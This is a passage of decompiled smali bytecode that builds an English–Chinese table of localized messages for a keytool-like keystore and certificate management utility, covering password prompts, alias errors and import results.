                                                                              225const-string v3, "\u7528\u6cd5\u9519\u8bef\uff0c{0} \u4e0d\u662f\u5408\u6cd5\u7684\u547d\u4ee4"
                                                                              226aput-object v3, v2, v5
                                                                              227aput-object v2, v0, v1
                                                                              228const/16 v1, 0x19
                                                                              229new-array v2, v6, [Ljava/lang/Object;
                                                                              231const-string v3, "Source keystore file exists, but is empty: "
                                                                              232aput-object v3, v2, v4
                                                                              234const-string v3, "\u6e90\u5bc6\u94a5\u5e93\u6587\u4ef6\u5b58\u5728\uff0c\u4f46\u4e3a\u7a7a: "
                                                                              235aput-object v3, v2, v5
                                                                              236aput-object v2, v0, v1
                                                                              237const/16 v1, 0x1a
                                                                              238new-array v2, v6, [Ljava/lang/Object;
                                                                              240const-string v3, "Please specify -srckeystore"
                                                                              241aput-object v3, v2, v4
                                                                              243const-string v3, "\u8bf7\u6307\u5b9a -srckeystore"
                                                                              244aput-object v3, v2, v5
                                                                              245aput-object v2, v0, v1
                                                                              246const/16 v1, 0x1b
                                                                              247new-array v2, v6, [Ljava/lang/Object;
                                                                              249const-string v3, "Must not specify both -v and -rfc with \'list\' command"
                                                                              250aput-object v3, v2, v4
                                                                              252const-string v3, "\u4e0d\u5f97\u4ee5\u300c\u5217\u8868\u300d\u6307\u4ee4\u6765\u6307\u5b9a-v \u53ca-rfc"
                                                                              253aput-object v3, v2, v5
                                                                              254aput-object v2, v0, v1
                                                                              255const/16 v1, 0x1c
                                                                              256new-array v2, v6, [Ljava/lang/Object;
                                                                              258const-string v3, "Key password must be at least 6 characters"
                                                                              259aput-object v3, v2, v4
                                                                              261const-string v3, "\u5173\u952e\u5bc6\u7801\u81f3\u5c11\u5fc5\u987b\u4e3a6\u4e2a\u5b57\u7b26"
                                                                              262aput-object v3, v2, v5
                                                                              263aput-object v2, v0, v1
                                                                              264const/16 v1, 0x1d
                                                                              265new-array v2, v6, [Ljava/lang/Object;
                                                                              267const-string v3, "New password must be at least 6 characters"
                                                                              268aput-object v3, v2, v4
                                                                              270const-string v3, "\u65b0\u5bc6\u7801\u81f3\u5c11\u5fc5\u987b\u4e3a6\u4e2a\u5b57\u7b26"
                                                                              271aput-object v3, v2, v5
                                                                              272aput-object v2, v0, v1
                                                                              273const/16 v1, 0x1e
                                                                              274new-array v2, v6, [Ljava/lang/Object;
                                                                              276const-string v3, "Keystore file exists, but is empty: "
                                                                              277aput-object v3, v2, v4
                                                                              279const-string v3, "Keystore\u6587\u4ef6\u5b58\u5728\uff0c\u4f46\u4e3a\u7a7a\u6587\u4ef6\uff1a "
                                                                              280aput-object v3, v2, v5
                                                                              281aput-object v2, v0, v1
                                                                              282const/16 v1, 0x1f
                                                                              283new-array v2, v6, [Ljava/lang/Object;
                                                                              285const-string v3, "Keystore file does not exist: "
                                                                              286aput-object v3, v2, v4
                                                                              288const-string v3, "Keystore \u6587\u4ef6\u4e0d\u5b58\u5728\uff1a "
                                                                              289aput-object v3, v2, v5
                                                                              290aput-object v2, v0, v1
                                                                              291const/16 v1, 0x20
                                                                              292new-array v2, v6, [Ljava/lang/Object;
                                                                              294const-string v3, "Must specify destination alias"
                                                                              295aput-object v3, v2, v4
                                                                              297const-string v3, "\u5fc5\u987b\u6307\u5b9a\u76ee\u7684\u5730\u522b\u540d"
                                                                              298aput-object v3, v2, v5
                                                                              299aput-object v2, v0, v1
                                                                              300const/16 v1, 0x21
                                                                              301new-array v2, v6, [Ljava/lang/Object;
                                                                              303const-string v3, "Must specify alias"
                                                                              304aput-object v3, v2, v4
                                                                              306const-string v3, "\u5fc5\u987b\u6307\u5b9a\u522b\u540d"
                                                                              307aput-object v3, v2, v5
                                                                              308aput-object v2, v0, v1
                                                                              309const/16 v1, 0x22
                                                                              310new-array v2, v6, [Ljava/lang/Object;
                                                                              312const-string v3, "Keystore password must be at least 6 characters"
                                                                              313aput-object v3, v2, v4
                                                                              315const-string v3, "Keystore \u5bc6\u7801\u81f3\u5c11\u5fc5\u987b\u4e3a6\u4e2a\u5b57\u7b26"
                                                                              316aput-object v3, v2, v5
                                                                              317aput-object v2, v0, v1
                                                                              318const/16 v1, 0x23
                                                                              319new-array v2, v6, [Ljava/lang/Object;
                                                                              321const-string v3, "Enter keystore password: "
                                                                              322aput-object v3, v2, v4
                                                                              324const-string v3, "\u8f93\u5165keystore\u5bc6\u7801\uff1a "
                                                                              325aput-object v3, v2, v5
                                                                              326aput-object v2, v0, v1
                                                                              327const/16 v1, 0x24
                                                                              328new-array v2, v6, [Ljava/lang/Object;
                                                                              330const-string v3, "Enter source keystore password: "
                                                                              331aput-object v3, v2, v4
                                                                              333const-string v3, "\u8f93\u5165\u6e90\u5bc6\u94a5\u5e93\u53e3\u4ee4: "
                                                                              334aput-object v3, v2, v5
                                                                              335aput-object v2, v0, v1
                                                                              336const/16 v1, 0x25
                                                                              337new-array v2, v6, [Ljava/lang/Object;
                                                                              339const-string v3, "Enter destination keystore password: "
                                                                              340aput-object v3, v2, v4
                                                                              342const-string v3, "\u8f93\u5165\u76ee\u6807\u5bc6\u94a5\u5e93\u53e3\u4ee4: "
                                                                              343aput-object v3, v2, v5
                                                                              344aput-object v2, v0, v1
                                                                              345const/16 v1, 0x26
                                                                              346new-array v2, v6, [Ljava/lang/Object;
                                                                              348const-string v3, "Keystore password is too short - must be at least 6 characters"
                                                                              349aput-object v3, v2, v4
                                                                              351const-string v3, "Keystore \u5bc6\u7801\u592a\u77ed -\u81f3\u5c11\u5fc5\u987b\u4e3a6\u4e2a\u5b57\u7b26"
                                                                              352aput-object v3, v2, v5
                                                                              353aput-object v2, v0, v1
                                                                              354const/16 v1, 0x27
                                                                              355new-array v2, v6, [Ljava/lang/Object;
                                                                              357const-string v3, "Unknown Entry Type"
                                                                              358aput-object v3, v2, v4
                                                                              360const-string v3, "\u672a\u77e5\u9879\u7c7b\u578b"
                                                                              361aput-object v3, v2, v5
                                                                              362aput-object v2, v0, v1
                                                                              363const/16 v1, 0x28
                                                                              364new-array v2, v6, [Ljava/lang/Object;
                                                                              366const-string v3, "Too many failures. Alias not changed"
                                                                              367aput-object v3, v2, v4
                                                                              369const-string v3, "\u9519\u8bef\u8fc7\u591a\u3002\u672a\u66f4\u6539\u522b\u540d"
                                                                              370aput-object v3, v2, v5
                                                                              371aput-object v2, v0, v1
                                                                              372const/16 v1, 0x29
                                                                              373new-array v2, v6, [Ljava/lang/Object;
                                                                              375const-string v3, "Entry for alias <alias> successfully imported."
                                                                              376aput-object v3, v2, v4
                                                                              378const-string v3, "\u5df2\u6210\u529f\u5bfc\u5165\u522b\u540d {0} \u9879\u3002"
                                                                              379aput-object v3, v2, v5
                                                                              380aput-object v2, v0, v1
                                                                              381const/16 v1, 0x2a
                                                                              382new-array v2, v6, [Ljava/lang/Object;
                                                                              384const-string v3, "Entry for alias <alias> not imported."
                                                                              385aput-object v3, v2, v4
                                                                              387const-string v3, "\u672a\u5bfc\u5165\u522b\u540d {0} \u9879\u3002"
                                                                              388aput-object v3, v2, v5
                                                                              389aput-object v2, v0, v1
                                                                              390const/16 v1, 0x2b
                                                                              391new-array v2, v6, [Ljava/lang/Object;
                                                                              393const-string v3, "Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported."
                                                                              394aput-object v3, v2, v4
                                                                              396const-string v3, "\u5bfc\u5165\u522b\u540d {0} \u9879\u65f6\u51fa\u73b0\u95ee\u9898: {1}\u3002\n\u672a\u5bfc\u5165\u522b\u540d {0} \u9879\u3002"
                                                                              397aput-object v3, v2, v5
                                                                              398aput-object v2, v0, v1
                                                                              399const/16 v1, 0x2c
                                                                              400new-array v2, v6, [Ljava/lang/Object;
                                                                              402const-string v3, "Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled"
                                                                              403aput-object v3, v2, v4
                                                                              405const-string v3, "\u5df2\u5b8c\u6210\u5bfc\u5165\u547d\u4ee4: {0} \u9879\u6210\u529f\u5bfc\u5165\uff0c{1} \u9879\u5931\u8d25\u6216\u53d6\u6d88"
                                                                              406aput-object v3, v2, v5
                                                                              407aput-object v2, v0, v1
                                                                              408const/16 v1, 0x2d
                                                                              409new-array v2, v6, [Ljava/lang/Object;
                                                                              411const-string v3, "Warning: Overwriting existing alias <alias> in destination keystore"
                                                                              412aput-object v3, v2, v4
                                                                              414const-string v3, "\u8b66\u544a: \u6b63\u5728\u8986\u76d6\u76ee\u6807\u5bc6\u94a5\u5e93\u4e2d\u7684\u73b0\u6709\u522b\u540d {0}"
                                                                              415aput-object v3, v2, v5
                                                                              416aput-object v2, v0, v1
                                                                              417const/16 v1, 0x2e
                                                                              418new-array v2, v6, [Ljava/lang/Object;
                                                                              420const-string v3, "Existing entry alias <alias> exists, overwrite? [no]: "
                                                                              421aput-object v3, v2, v4
                                                                              423const-string v3, "\u5b58\u5728\u73b0\u6709\u9879\u522b\u540d {0}\uff0c\u662f\u5426\u8981\u8986\u76d6\uff1f[\u5426]: "
                                                                              424aput-object v3, v2, v5
                                                                              425aput-object v2, v0, v1
                                                                              426const/16 v1, 0x2f
                                                                              427new-array v2, v6, [Ljava/lang/Object;
                                                                              429const-string v3, "Too many failures - try later"
                                                                              430aput-object v3, v2, v4
                                                                              432const-string v3, "\u592a\u591a\u9519\u8bef - \u8bf7\u7a0d\u540e\u518d\u8bd5"
                                                                              433aput-object v3, v2, v5
                                                                              434aput-object v2, v0, v1
                                                                              435const/16 v1, 0x30
                                                                              436new-array v2, v6, [Ljava/lang/Object;
                                                                              438const-string v3, "Certification request stored in file <filename>"
                                                                              439aput-object v3, v2, v4
                                                                              441const-string v3, "\u4fdd\u5b58\u5728\u6587\u4ef6\u4e2d\u7684\u8ba4\u8bc1\u8981\u6c42 <{0}>"
                                                                              442aput-object v3, v2, v5
                                                                              443aput-object v2, v0, v1
                                                                              444const/16 v1, 0x31
                                                                              445new-array v2, v6, [Ljava/lang/Object;
                                                                              447const-string v3, "Submit this to your CA"
                                                                              448aput-object v3, v2, v4
                                                                              450const-string v3, "\u5c06\u6b64\u63d0\u4ea4\u7ed9\u60a8\u7684CA"
                                                                              451aput-object v3, v2, v5
                                                                              452aput-object v2, v0, v1
                                                                              453const/16 v1, 0x32
                                                                              454new-array v2, v6, [Ljava/lang/Object;
                                                                              456const-string v3, "if alias not specified, destalias, srckeypass, and destkeypass must not be specified"
                                                                              457aput-object v3, v2, v4
                                                                              459const-string v3, "\u5982\u679c\u6ca1\u6709\u6307\u5b9a\u522b\u540d\uff0c\u5219\u4e0d\u80fd\u6307\u5b9a\u76ee\u6807\u522b\u540d\u3001\u6e90\u5bc6\u94a5\u5e93\u53e3\u4ee4\u548c\u76ee\u6807\u5bc6\u94a5\u5e93\u53e3\u4ee4"
                                                                              460aput-object v3, v2, v5
                                                                              461aput-object v2, v0, v1
                                                                              462const/16 v1, 0x33
                                                                              463new-array v2, v6, [Ljava/lang/Object;
                                                                              465const-string v3, "Certificate stored in file <filename>"
                                                                              466aput-object v3, v2, v4
                                                                              468const-string v3, "\u4fdd\u5b58\u5728\u6587\u4ef6\u4e2d\u7684\u8ba4\u8bc1 <{0}>"
                                                                              469aput-object v3, v2, v5
                                                                              470aput-object v2, v0, v1
                                                                              471const/16 v1, 0x34
                                                                              472new-array v2, v6, [Ljava/lang/Object;
                                                                              474const-string v3, "Certificate reply was installed in keystore"
                                                                              475aput-object v3, v2, v4
                                                                              477const-string v3, "\u8ba4\u8bc1\u56de\u590d\u5df2\u5b89\u88c5\u5728 keystore\u4e2d"
                                                                              478aput-object v3, v2, v5
                                                                              479aput-object v2, v0, v1
                                                                              480const/16 v1, 0x35
                                                                              481new-array v2, v6, [Ljava/lang/Object;
                                                                              483const-string v3, "Certificate reply was not installed in keystore"
                                                                              484aput-object v3, v2, v4
                                                                              486const-string v3, "\u8ba4\u8bc1\u56de\u590d\u672a\u5b89\u88c5\u5728 keystore\u4e2d"
                                                                              487aput-object v3, v2, v5
                                                                              488aput-object v2, v0, v1
                                                                              489const/16 v1, 0x36
                                                                              490new-array v2, v6, [Ljava/lang/Object;
                                                                              492const-string v3, "Certificate was added to keystore"
                                                                              493aput-object v3, v2, v4
                                                                              495const-string v3, "\u8ba4\u8bc1\u5df2\u6dfb\u52a0\u81f3keystore\u4e2d"
                                                                              496aput-object v3, v2, v5
                                                                              497aput-object v2, v0, v1
                                                                              498const/16 v1, 0x37
                                                                              499new-array v2, v6, [Ljava/lang/Object;
                                                                              501const-string v3, "Certificate was not added to keystore"
                                                                              502aput-object v3, v2, v4
                                                                              504const-string v3, "\u8ba4\u8bc1\u672a\u6dfb\u52a0\u81f3keystore\u4e2d"
                                                                              505aput-object v3, v2, v5
                                                                              506aput-object v2, v0, v1
                                                                              507const/16 v1, 0x38
                                                                              508new-array v2, v6, [Ljava/lang/Object;
                                                                              510const-string v3, "[Storing ksfname]"
                                                                              511aput-object v3, v2, v4
                                                                              513const-string v3, "[\u6b63\u5728\u5b58\u50a8 {0}]"
                                                                              514aput-object v3, v2, v5
                                                                              515aput-object v2, v0, v1
                                                                              516const/16 v1, 0x39
                                                                              517new-array v2, v6, [Ljava/lang/Object;
                                                                              519const-string v3, "alias has no public key (certificate)"
                                                                              520aput-object v3, v2, v4
                                                                              522const-string v3, "{0} \u6ca1\u6709\u516c\u5f00\u91d1\u94a5\uff08\u8ba4\u8bc1\uff09"
                                                                              523aput-object v3, v2, v5
                                                                              524aput-object v2, v0, v1
                                                                              525const/16 v1, 0x3a
                                                                              526new-array v2, v6, [Ljava/lang/Object;
                                                                              528const-string v3, "Cannot derive signature algorithm"
                                                                              529aput-object v3, v2, v4
                                                                              531const-string v3, "\u65e0\u6cd5\u53d6\u5f97\u7b7e\u540d\u7b97\u6cd5"
                                                                              532aput-object v3, v2, v5
                                                                              533aput-object v2, v0, v1
                                                                              534const/16 v1, 0x3b
                                                                              535new-array v2, v6, [Ljava/lang/Object;
                                                                              537const-string v3, "Alias <alias> does not exist"
                                                                              538aput-object v3, v2, v4
                                                                              540const-string v3, "\u522b\u540d <{0}> \u4e0d\u5b58\u5728"
                                                                              541aput-object v3, v2, v5
                                                                              542aput-object v2, v0, v1
                                                                              543const/16 v1, 0x3c
                                                                              544new-array v2, v6, [Ljava/lang/Object;
                                                                              546const-string v3, "Alias <alias> has no certificate"
                                                                              547aput-object v3, v2, v4
                                                                              549const-string v3, "\u522b\u540d <{0}> \u6ca1\u6709\u8ba4\u8bc1"
                                                                              550aput-object v3, v2, v5
                                                                              551aput-object v2, v0, v1
                                                                              552const/16 v1, 0x3d
                                                                              553new-array v2, v6, [Ljava/lang/Object;
                                                                              555const-string v3, "Key pair not generated, alias <alias> already exists"
                                                                              556aput-object v3, v2, v4
                                                                              558const-string v3, "\u6ca1\u6709\u521b\u5efa\u952e\u503c\u5bf9\uff0c\u522b\u540d <{0}> \u5df2\u7ecf\u5b58\u5728"
                                                                              559aput-object v3, v2, v5
                                                                              560aput-object v2, v0, v1
                                                                              561const/16 v1, 0x3e
                                                                              562new-array v2, v6, [Ljava/lang/Object;
                                                                              564const-string v3, "Cannot derive signature algorithm"
                                                                              565aput-object v3, v2, v4
                                                                              567const-string v3, "\u65e0\u6cd5\u53d6\u5f97\u7b7e\u540d\u7b97\u6cd5"
                                                                              568aput-object v3, v2, v5
                                                                              569aput-object v2, v0, v1
                                                                              570const/16 v1, 0x3f
                                                                              571new-array v2, v6, [Ljava/lang/Object;
                                                                              573const-string v3, "Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name"
                                                                              574aput-object v3, v2, v4
                                                                              576const-string v3, "\u6b63\u5728\u4e3a\u4ee5\u4e0b\u5bf9\u8c61\u751f\u6210 {0} \u4f4d {1} \u5bc6\u94a5\u5bf9\u548c\u81ea\u7b7e\u540d\u8bc1\u4e66 ({2})\uff08\u6709\u6548\u671f\u4e3a {3} \u5929\uff09:\n\t {4}"
                                                                              577aput-object v3, v2, v5
                                                                              578aput-object v2, v0, v1
                                                                              579const/16 v1, 0x40
                                                                              580new-array v2, v6, [Ljava/lang/Object;
                                                                              582const-string v3, "Enter key password for <alias>"
                                                                              583aput-object v3, v2, v4
                                                                              585const-string v3, "\u8f93\u5165<{0}>\u7684\u4e3b\u5bc6\u7801"
                                                                              586aput-object v3, v2, v5
                                                                              587aput-object v2, v0, v1
                                                                              588const/16 v1, 0x41
                                                                              589new-array v2, v6, [Ljava/lang/Object;
                                                                              591const-string v3, "\t(RETURN if same as keystore password): "
                                                                              592aput-object v3, v2, v4
                                                                              594const-string v3, "\t\uff08\u5982\u679c\u548c keystore \u5bc6\u7801\u76f8\u540c\uff0c\u6309\u56de\u8f66\uff09\uff1a "
                                                                              595aput-object v3, v2, v5
                                                                              596aput-object v2, v0, v1
                                                                              597const/16 v1, 0x42
                                                                              598new-array v2, v6, [Ljava/lang/Object;
                                                                              600const-string v3, "Key password is too short - must be at least 6 characters"
                                                                              601aput-object v3, v2, v4
                                                                              603const-string v3, "\u4e3b\u5bc6\u7801\u592a\u77ed -\u81f3\u5c11\u5fc5\u987b\u4e3a 6 \u4e2a\u5b57\u7b26"
                                                                              604aput-object v3, v2, v5
                                                                              605aput-object v2, v0, v1
                                                                              606const/16 v1, 0x43
                                                                              607new-array v2, v6, [Ljava/lang/Object;
                                                                              609const-string v3, "Too many failures - key not added to keystore"
                                                                              610aput-object v3, v2, v4
                                                                              612const-string v3, "\u592a\u591a\u9519\u8bef - \u952e\u503c\u672a\u88ab\u6dfb\u52a0\u81f3keystore\u4e2d"
                                                                              613aput-object v3, v2, v5
                                                                              614aput-object v2, v0, v1
                                                                              615const/16 v1, 0x44
                                                                              616new-array v2, v6, [Ljava/lang/Object;
                                                                              618const-string v3, "Destination alias <dest> already exists"
                                                                              619aput-object v3, v2, v4
                                                                              621const-string v3, "\u76ee\u7684\u5730\u522b\u540d <{0}> \u5df2\u7ecf\u5b58\u5728"
                                                                              622aput-object v3, v2, v5
                                                                              623aput-object v2, v0, v1
                                                                              624const/16 v1, 0x45
                                                                              625new-array v2, v6, [Ljava/lang/Object;
                                                                              627const-string v3, "Password is too short - must be at least 6 characters"
                                                                              628aput-object v3, v2, v4
                                                                              630const-string v3, "\u5bc6\u7801\u592a\u77ed -\u81f3\u5c11\u5fc5\u987b\u4e3a6\u4e2a\u5b57\u7b26"
                                                                              631aput-object v3, v2, v5
                                                                              632aput-object v2, v0, v1
                                                                              633const/16 v1, 0x46
                                                                              634new-array v2, v6, [Ljava/lang/Object;
                                                                              636const-string v3, "Too many failures. Key entry not cloned"
                                                                              637aput-object v3, v2, v4
                                                                              639const-string v3, "\u592a\u591a\u9519\u8bef\u3002\u952e\u503c\u8f93\u5165\u672a\u88ab\u590d\u5236"
                                                                              640aput-object v3, v2, v5
                                                                              641aput-object v2, v0, v1
                                                                              642const/16 v1, 0x47
                                                                              643new-array v2, v6, [Ljava/lang/Object;
                                                                              645const-string v3, "key password for <alias>"
                                                                              646aput-object v3, v2, v4
                                                                              648const-string v3, "<{0}> \u7684\u4e3b\u5bc6\u7801"
                                                                              649aput-object v3, v2, v5
                                                                              650aput-object v2, v0, v1
                                                                              651const/16 v1, 0x48
                                                                              652new-array v2, v6, [Ljava/lang/Object;
                                                                              654const-string v3, "Keystore entry for <id.getName()> already exists"
                                                                              655aput-object v3, v2, v4
                                                                              657const-string v3, "<{0}> \u7684 Keystore \u8f93\u5165\u5df2\u7ecf\u5b58\u5728"
                                                                              658aput-object v3, v2, v5
                                                                              659aput-object v2, v0, v1
                                                                              660const/16 v1, 0x49
                                                                              661new-array v2, v6, [Ljava/lang/Object;
                                                                              663const-string v3, "Creating keystore entry for <id.getName()> ..."
                                                                              664aput-object v3, v2, v4
                                                                              666const-string v3, "\u521b\u5efa <{0}> \u7684 keystore\u8f93\u5165..."
                                                                              667aput-object v3, v2, v5
                                                                              668aput-object v2, v0, v1
                                                                              669const/16 v1, 0x4a
                                                                              670new-array v2, v6, [Ljava/lang/Object;
                                                                              672const-string v3, "No entries from identity database added"
                                                                              673aput-object v3, v2, v4
                                                                              675const-string v3, "\u4ece\u6dfb\u52a0\u7684\u8fa8\u8bc6\u6570\u636e\u5e93\u4e2d\uff0c\u6ca1\u6709\u8f93\u5165"
                                                                              676aput-object v3, v2, v5
                                                                              677aput-object v2, v0, v1
                                                                              678const/16 v1, 0x4b
                                                                              679new-array v2, v6, [Ljava/lang/Object;
                                                                              681const-string v3, "Alias name: alias"
                                                                              682aput-object v3, v2, v4
                                                                              684const-string v3, "\u522b\u540d\u540d\u79f0\uff1a {0}"
                                                                              685aput-object v3, v2, v5
                                                                              686aput-object v2, v0, v1
                                                                              687const/16 v1, 0x4c
                                                                              688new-array v2, v6, [Ljava/lang/Object;
                                                                              690const-string v3, "Creation date: keyStore.getCreationDate(alias)"
                                                                              691aput-object v3, v2, v4
                                                                              693const-string v3, "\u521b\u5efa\u65e5\u671f\uff1a {0,date}"
                                                                              694aput-object v3, v2, v5
                                                                              695aput-object v2, v0, v1
                                                                              696const/16 v1, 0x4d
                                                                              697new-array v2, v6, [Ljava/lang/Object;
                                                                              699const-string v3, "alias, keyStore.getCreationDate(alias), "
                                                                              700aput-object v3, v2, v4
                                                                              702const-string v3, "{0}, {1,date}, "
                                                                              703aput-object v3, v2, v5
                                                                              704aput-object v2, v0, v1
                                                                              705const/16 v1, 0x4e
                                                                              706new-array v2, v6, [Ljava/lang/Object;
                                                                              708const-string v3, "alias, "
                                                                              709aput-object v3, v2, v4
                                                                              711const-string v3, "{0}, "
                                                                              712aput-object v3, v2, v5
                                                                              713aput-object v2, v0, v1
                                                                              714const/16 v1, 0x4f
                                                                              715new-array v2, v6, [Ljava/lang/Object;
                                                                              717const-string v3, "Entry type: <type>"
                                                                              718aput-object v3, v2, v4
                                                                              720const-string v3, "\u9879\u7c7b\u578b: {0}"
                                                                              721aput-object v3, v2, v5
                                                                              722aput-object v2, v0, v1
                                                                              723const/16 v1, 0x50
                                                                              724new-array v2, v6, [Ljava/lang/Object;
                                                                              726const-string v3, "Certificate chain length: "
                                                                              727aput-object v3, v2, v4
                                                                              729const-string v3, "\u8ba4\u8bc1\u94fe\u957f\u5ea6\uff1a "
                                                                              730aput-object v3, v2, v5
                                                                              731aput-object v2, v0, v1
                                                                              732const/16 v1, 0x51
                                                                              733new-array v2, v6, [Ljava/lang/Object;
                                                                              735const-string v3, "Certificate[(i + 1)]:"
                                                                              736aput-object v3, v2, v4
                                                                              738const-string v3, "\u8ba4\u8bc1 [{0,number,integer}]:"
                                                                              739aput-object v3, v2, v5
                                                                              740aput-object v2, v0, v1
                                                                              741const/16 v1, 0x52
                                                                              742new-array v2, v6, [Ljava/lang/Object;
                                                                              744const-string v3, "Certificate fingerprint (MD5): "
                                                                              745aput-object v3, v2, v4
                                                                              747const-string v3, "\u8ba4\u8bc1\u6307\u7eb9 (MD5)\uff1a "
                                                                              748aput-object v3, v2, v5
                                                                              749aput-object v2, v0, v1
                                                                              750const/16 v1, 0x53
                                                                              751new-array v2, v6, [Ljava/lang/Object;
                                                                              753const-string v3, "Entry type: trustedCertEntry\n"
                                                                              754aput-object v3, v2, v4
                                                                              756const-string v3, "\u8f93\u5165\u7c7b\u578b\uff1a trustedCertEntry\n"
                                                                              757aput-object v3, v2, v5
                                                                              758aput-object v2, v0, v1
                                                                              759const/16 v1, 0x54
                                                                              760new-array v2, v6, [Ljava/lang/Object;
                                                                              762const-string v3, "trustedCertEntry,"
                                                                              763aput-object v3, v2, v4
                                                                              765const-string v3, "trustedCertEntry,"
                                                                              766aput-object v3, v2, v5
                                                                              767aput-object v2, v0, v1
                                                                              768const/16 v1, 0x55
                                                                              769new-array v2, v6, [Ljava/lang/Object;
                                                                              771const-string v3, "Keystore type: "
                                                                              772aput-object v3, v2, v4
                                                                              774const-string v3, "Keystore \u7c7b\u578b\uff1a "
                                                                              775aput-object v3, v2, v5
                                                                              776aput-object v2, v0, v1
                                                                              777const/16 v1, 0x56
                                                                              778new-array v2, v6, [Ljava/lang/Object;
                                                                              780const-string v3, "Keystore provider: "
                                                                              781aput-object v3, v2, v4
                                                                              783const-string v3, "Keystore \u63d0\u4f9b\u8005\uff1a "
                                                                              784aput-object v3, v2, v5
                                                                              785aput-object v2, v0, v1
                                                                              786const/16 v1, 0x57
                                                                              787new-array v2, v6, [Ljava/lang/Object;
                                                                              789const-string v3, "Your keystore contains keyStore.size() entry"
                                                                              790aput-object v3, v2, v4
                                                                              792const-string v3, "\u60a8\u7684 keystore \u5305\u542b {0,number,integer} \u8f93\u5165"
                                                                              793aput-object v3, v2, v5
                                                                              794aput-object v2, v0, v1
                                                                              795const/16 v1, 0x58
                                                                              796new-array v2, v6, [Ljava/lang/Object;
                                                                              798const-string v3, "Your keystore contains keyStore.size() entries"
                                                                              799aput-object v3, v2, v4
                                                                              801const-string v3, "\u60a8\u7684 keystore \u5305\u542b {0,number,integer} \u8f93\u5165"
                                                                              802aput-object v3, v2, v5
                                                                              803aput-object v2, v0, v1
                                                                              804const/16 v1, 0x59
                                                                              805new-array v2, v6, [Ljava/lang/Object;
                                                                              807const-string v3, "Failed to parse input"
                                                                              808aput-object v3, v2, v4
                                                                              810const-string v3, "\u65e0\u6cd5\u5bf9\u8f93\u5165\u8fdb\u884c\u8bed\u6cd5\u5206\u6790"
                                                                              811aput-object v3, v2, v5
                                                                              812aput-object v2, v0, v1
                                                                              813const/16 v1, 0x5a
                                                                              814new-array v2, v6, [Ljava/lang/Object;
                                                                              816const-string v3, "Empty input"
                                                                              817aput-object v3, v2, v4
                                                                              819const-string v3, "\u7a7a\u8f93\u5165"
                                                                              820aput-object v3, v2, v5
                                                                              821aput-object v2, v0, v1
                                                                              822const/16 v1, 0x5b
                                                                              823new-array v2, v6, [Ljava/lang/Object;
                                                                              825const-string v3, "Not X.509 certificate"
                                                                              826aput-object v3, v2, v4
                                                                              828const-string v3, "\u975e X.509 \u8ba4\u8bc1"
                                                                              829aput-object v3, v2, v5
                                                                              830aput-object v2, v0, v1
                                                                              831const/16 v1, 0x5c
                                                                              832new-array v2, v6, [Ljava/lang/Object;
                                                                              834const-string v3, "Cannot derive signature algorithm"
                                                                              835aput-object v3, v2, v4
                                                                              837const-string v3, "\u65e0\u6cd5\u53d6\u5f97\u7b7e\u540d\u7b97\u6cd5"
                                                                              838aput-object v3, v2, v5
                                                                              839aput-object v2, v0, v1
                                                                              840const/16 v1, 0x5d
                                                                              841new-array v2, v6, [Ljava/lang/Object;
                                                                              843const-string v3, "alias has no public key"
                                                                              844aput-object v3, v2, v4
                                                                              846const-string v3, "{0} \u65e0\u516c\u7528\u5bc6\u94a5"
                                                                              847aput-object v3, v2, v5
                                                                              848aput-object v2, v0, v1
                                                                              849const/16 v1, 0x5e
                                                                              850new-array v2, v6, [Ljava/lang/Object;
                                                                              852const-string v3, "alias has no X.509 certificate"
                                                                              853aput-object v3, v2, v4
                                                                              855const-string v3, "{0} \u65e0 X.509 \u8ba4\u8bc1"
                                                                              856aput-object v3, v2, v5
                                                                              857aput-object v2, v0, v1
                                                                              858const/16 v1, 0x5f
                                                                              859new-array v2, v6, [Ljava/lang/Object;
                                                                              861const-string v3, "New certificate (self-signed):"
                                                                              862aput-object v3, v2, v4
                                                                              864const-string v3, "\u65b0\u8ba4\u8bc1\uff08\u81ea\u6211\u7b7e\u7f72\uff09\uff1a"
                                                                              865aput-object v3, v2, v5
                                                                              866aput-object v2, v0, v1
                                                                              867const/16 v1, 0x60
                                                                              868new-array v2, v6, [Ljava/lang/Object;
                                                                              870const-string v3, "Reply has no certificates"
                                                                              871aput-object v3, v2, v4
                                                                              873const-string v3, "\u56de\u590d\u4e2d\u6ca1\u6709\u8ba4\u8bc1"
                                                                              874aput-object v3, v2, v5
                                                                              875aput-object v2, v0, v1
                                                                              876const/16 v1, 0x61
                                                                              877new-array v2, v6, [Ljava/lang/Object;
                                                                              879const-string v3, "Certificate not imported, alias <alias> already exists"
                                                                              880aput-object v3, v2, v4
                                                                              882const-string v3, "\u8ba4\u8bc1\u672a\u8f93\u5165\uff0c\u522b\u540d <{0}> \u5df2\u7ecf\u5b58\u5728"
                                                                              883aput-object v3, v2, v5
                                                                              884aput-object v2, v0, v1
                                                                              885const/16 v1, 0x62
                                                                              886new-array v2, v6, [Ljava/lang/Object;
                                                                              888const-string v3, "Input not an X.509 certificate"
                                                                              889aput-object v3, v2, v4
                                                                              891const-string v3, "\u6240\u8f93\u5165\u7684\u4e0d\u662f\u4e00\u4e2a X.509 \u8ba4\u8bc1"
                                                                              892aput-object v3, v2, v5
                                                                              893aput-object v2, v0, v1
                                                                              894const/16 v1, 0x63
                                                                              895new-array v2, v6, [Ljava/lang/Object;
                                                                              897const-string v3, "Certificate already exists in keystore under alias <trustalias>"
                                                                              898aput-object v3, v2, v4
                                                                              900const-string v3, "\u5728 <{0}> \u7684\u522b\u540d\u4e4b\u4e0b\uff0c\u8ba4\u8bc1\u5df2\u7ecf\u5b58\u5728 keystore \u4e2d"
                                                                              901aput-object v3, v2, v5
                                                                              902aput-object v2, v0, v1
                                                                              903const/16 v1, 0x64
                                                                              904new-array v2, v6, [Ljava/lang/Object;
                                                                              906const-string v3, "Do you still want to add it? [no]: "
                                                                              907aput-object v3, v2, v4
                                                                              909const-string v3, "\u60a8\u4ecd\u7136\u60f3\u8981\u6dfb\u52a0\u5b83\u5417\uff1f [\u5426]\uff1a "
                                                                              910aput-object v3, v2, v5
                                                                              911aput-object v2, v0, v1
                                                                              912const/16 v1, 0x65
                                                                              913new-array v2, v6, [Ljava/lang/Object;
                                                                              915const-string v3, "Certificate already exists in system-wide CA keystore under alias <trustalias>"
                                                                              916aput-object v3, v2, v4
